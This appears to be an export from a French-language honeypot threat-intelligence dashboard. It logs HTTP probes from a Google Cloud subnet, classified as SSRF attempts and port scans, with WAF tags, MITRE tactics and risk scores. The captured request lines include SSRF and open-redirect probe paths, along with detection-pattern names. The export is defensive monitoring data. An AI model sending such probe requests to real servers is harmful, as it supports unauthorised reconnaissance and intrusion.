"http_host_hash": "c6008d4edabeb39bfcb7d799569622afcd6dbf62",
"http_target_hash": "355a640a1127bedaf9ba5b47245be79b4b8816cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 246,
"payload_entropy": 5.483543731337866,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8200,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 64,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "1aaf21ec44164796f077ebc94936b5bdb02c5ef7",
"event_fingerprint": "b783f9e42e9ae6fb1ab36d8acc41fac5248881cd",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 64,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "95edf19115b7a23b29f7cf6202f6536f",
"path_pattern_hash": "171eee81760289d880760c80160359e6"
},
"target_context": {
"dst_port": 8200,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"payload_preview": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Moz",
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Moz",
"evidence": {
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Moz",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "820b8699dad5265e2d7c6cabfb77ec124a4c6c51",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8200,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Moz",
"attack_vector": "ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"target_port_label": "8200 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 64,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8200,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8200,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Moz",
"target_port_label": "8200 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8200"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:30 UTC
TCP
8083 · HTTP
Scan de ports
port scan syn · via HTTP:8083 · (reconnaissance) · → /%5cgoogle.com/4af206ebd4.html
Élevée
Moyen · 60
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Protocole
GET /%5cgoogle.com/4af206ebd4.html UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/%5cgoogle.com/4af206ebd4.html
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8083
Chemin / cible
/%5cgoogle.com/4af206ebd4.html
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Moyen
· 60
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
Host: 62.3.50.33:8083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O
Requête brute (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1 Host: 62.3.50.33:8083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "html",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "21e69ce58b85e5f3297487d2897913a40772a115",
"http_target_hash": "eef7221f84d0c9d32bcbdb1de8e88a4ee8ae2719",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 214,
"payload_entropy": 5.419265743648637,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8083,
"risk_waf": 84,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 84,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 60,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "3e18df1ac9602a18a427d91ca7805d5f81388276",
"event_fingerprint": "d61df994fc50bcbc40179f6e162f0743970fa936",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 84,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 60,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "8dd5cb977e64e3a54c5e628b3d0d2ce9",
"path_pattern_hash": "1ff0d8dcf831a076b212dbddfef2a545"
},
"target_context": {
"dst_port": 8083,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"payload_preview": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"evidence": {
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7daaf35b384bae85d2b43fc455cbe8f6a94c19b9",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"attack_vector": "port scan syn \u00b7 via HTTP:8083 \u00b7 (reconnaissance) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"target_port_label": "8083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 60,
"correlation_boost": 10
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8083,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8083 \u00b7 (reconnaissance) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"target_port_label": "8083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 22,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:06 UTC
TCP
8060 · HTTP
SSRF interne
ssrf internal · via HTTP:8060 · (tentative d'exploit)
Élevée
Moyen · 51
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8060
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 51
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8060
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8060 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "659aba210ed45d12732dc398ec420869b9d4d3d3",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.335442787520689,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8060,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.4,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 51,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "badc711d16a1cdb3551a8a2c8af65eaff7beb0f3",
"event_fingerprint": "c23f87515f27820769452a8ddcf9254ae8426f08",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 51,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "7cf3d38a3f92cff7ab6cb7ecd621da51",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8060,
"service": "http",
"service_name": "http",
"risk_score": 51
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ea3ada0bf102309ca853d5a645f7e294996b2e92",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
